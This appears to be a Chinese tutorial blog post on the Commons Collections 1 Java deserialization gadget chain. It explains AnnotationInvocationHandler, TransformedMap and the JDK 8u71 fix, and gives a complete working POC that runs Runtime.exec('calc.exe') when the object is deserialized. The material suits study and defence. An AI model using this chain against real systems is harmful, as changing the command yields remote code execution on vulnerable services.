java安全之CC1浅学(2)

时间：2022-11-10 18:04:15

上一篇了解了commons-collections中的Transformer，并且构造了一个简单的payload，接下来就需要将其改造为一个可利用的POC

AnnotationInvocationHandler

前面说过，触发漏洞的核心，在于需要向Map中加入新的元素，在上一篇中，我们是手动执行行 outerMap.put("test", "xxxx");来触发漏洞的，所以在实际反序列化利用的时候，时，我们需要找到一个 类，它在反序列化的readObject逻辑里有类似的写入操作。

这个类就是 sun.reflect.annotation.AnnotationInvocationHandler ，我们查看它的readObject方法（这是8u71以前的代码，8u71以后做了一些修改）

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();
     // Check to make sure that types have not evolved incompatibly
        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
            }catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type inannotation serial stream");
        }
        Map<String, Class<?>> memberTypes = annotationType.memberTypes();
            // If there are annotation members without values, that
            // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue:memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) { // i.e. member still exists
             Object value = memberValue.getValue();
              if (!(memberType.isInstance(value) ||
                 value instanceof ExceptionProxy)) {
                   memberValue.setValue(
                     new AnnotationTypeMismatchExceptionProxy(
                       value.getClass() + "[" + value + "]").setMember(
                         annotationType.members().get(name)));
            }
           }
        }
}

核心逻辑就是 Map.Entry memberValue : memberValues.entrySet() 和 memberValue.setValue(...)

memberValues就是反序列化后得到的Map，也是经过了TransformedMap修饰的对象，这里遍历了它 的所有元素，并依次设置值。在调用setValue设置值的时候就会触发TransformedMap里注册的 Transform，进而执行我们为其精心设计的任意代码

所以，我们构造POC的时候，就需要创建一个AnnotationInvocationHandler对象，并将前面构造的HashMap设置进来

Class cls =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);

这里因为sun.reflect.annotation.AnnotationInvocationHandler是在JDK内部的类，不能直接使用new来实例化。可以使用反射获取它的构造方法，并将其设置成外部可见的，再调用就可以实例化了。AnnotationInvocationHandler类的构造函数有两个参数，第一个参数是一个Annotation类；第二个是参数就是前面构造的Map

这里有两个问题：什么是Annotation类？为什么这里使用 Retention.class ？

需要反射

上面我们构造了一个AnnotationInvocationHandler对象，它就是我们反序列化利用链的起点了。我们通过如下代码将这个对象生成序列化流：

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();

我们和上一篇文章的payload组成一个完整的POC。我们试着运行这个POC，看看能否生成序列化数据流：

java安全之CC1浅学(2)

在writeObject的时候出现异常了： java.io.NotSerializableException: java.lang.Runtime

原因是Java中不是所有对象都支持序列化，待序列化的对象和所有它使用的内部属性对象，必须都实现了 java.io.Serializable 接口。而我们最早传给ConstantTransformer的是 Runtime.getRuntime() ，Runtime类是没有实现 java.io.Serializable接口的，所以不允许被序列化的。

在前边的《Java安全之反射》一篇中，提到可以通过反射来获取当前上下文中的Runtime对象，而不需要直接使用这个类：

Method f = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) f.invoke(null);
r.exec("calc.exe");

转换成Transformer的写法就是如下：

Transformer[] transformers= new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class,Object[].class},
                        new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[] {String.class},
                        new String[]{"calc.exe"}
};

这里我们将Runtime.getRuntime() 换成了 Runtime.class ，前者是一个 java.lang.Runtime 对象，后者是一个 java.lang.Class 对象。Class类有实现Serializable接口，所以可以被序列化的。

这里是传入一个Runtime.class,通过反射拿到Runtime.getRuntime(),然后再反射拿到invoke方法，再反射拿到exec方法。

仍然无法触发漏洞

修改Transformer数组后再次运行，发现这次没有报异常，而且输出了序列化后的数据流，但是反序列化时仍然没弹出计算器，这是为什么呢？

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这个实际上和AnnotationInvocationHandler类的逻辑有关，我们可以动态调试就会发现，在 AnnotationInvocationHandler#readObject 的逻辑中，有一个if语句对var7进行判断，只有在其不是null的时候才会进入里面执行setValue，否则不会进入也就不会触发漏洞：

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;
  
    AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
          this.type = var1;
          this.memberValues = var2;
      }
  
    private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
          var1.defaultReadObject();
          AnnotationType var2 = null;

          try {
            //this.type是实例化的时候传入的jdk自带的Target.class
            //getInstance会获取到@Target的基本信息，包括注解元素，注解元素的默认值，生命周期，是否继承等等
              var2 = AnnotationType.getInstance(this.type);
          } catch (IllegalArgumentException var9) {
              return;
          }

          Map var3 = var2.memberTypes();
          Iterator var4 = this.memberValues.entrySet().iterator();

          while(var4.hasNext()) {
              Entry var5 = (Entry)var4.next();
              String var6 = (String)var5.getKey();
              Class var7 = (Class)var3.get(var6);
              if (var7 != null) {
                  Object var8 = var5.getValue();
                  if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                      var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                  }
              }
          }

      }
  }

那么如何让这个var7不为null呢？两个条件

  1. sun.reflect.annotation.AnnotationInvocationHandler构造函数的第一个参数必须是 Annotation的子类，且其中必须含有至少一个方法，假设方法名是X
  2. 被TransformedMap.decorate修饰的Map中必须有一个键名为X的元素

所以，这也就是前面用到Retention.class的原因，因为Retention有一个方法，名为value；所以，为了再满足第二个条件，需要给Map中放入一个Key是value的元素：

innerMap.put("value", "xxxx");

8u71

再次修改POC之后，我们在本地进行测试，发现已经可以成功弹出计算器了。

java安全之CC1浅学(2)

但是，当我们拿着这串序列化流，跑到服务器上进行反序列化时就会发现，又无法成功执行命令 了。这又是为什么呢？

我这儿是拿到另一个Java 8u71以前版本的服务器上进行测试的，在8u71以后Java官方修改了sun.reflect.annotation.AnnotationInvocationHandler的readObject函数

jdk8u/jdk8u/jdk: f8a528d0379d (java.net)

java安全之CC1浅学(2)

对于这次修改，乍一看好像原因就是没有了setValue，其实不然，可以看到上边是新增了一个LinkedHashMap对象，并将原来的键值添加进去，所以，后续对Map的操作都是基于这个新的LinkedHashMap对象，而原来我们精心构造的Map不再执行set或put操作，也就不会触发RCE了

小结

整体的POC如下

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class Test {
    public static void main(String[] args) throws Exception {
       Transformer[] transformers= new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class,Object[].class},
                        new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[] {String.class},
                        new String[]{"calc.exe"}
)};
       ChainedTransformer chain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, chain);
        innerMap.put("value","xxxx");


        Class cls =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = cls.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        Object obj = construct.newInstance(Retention.class, outerMap);


        ByteArrayOutputStream array = new ByteArrayOutputStream();
        ObjectOutputStream writeojb = new ObjectOutputStream(array);
        writeojb.writeObject(obj);
        writeojb.close();

        System.out.println(array);
        ObjectInputStream readobj = new ObjectInputStream(new ByteArrayInputStream(array.toByteArray()));
        readobj.readObject();


    }
}

但是这个Payload有一定局限性，在Java 8u71以后的版本中，由于 sun.reflect.annotation.AnnotationInvocationHandler发生了变化导致不再可用，原因前文也说了。

而ysoserial工具中没有用到TransformedMap，而是使用了LazyMap。

那么LazyMap解决了这条链在高版本Java中的使用吗？如何解决的呢？

下一篇文章来分析分析。

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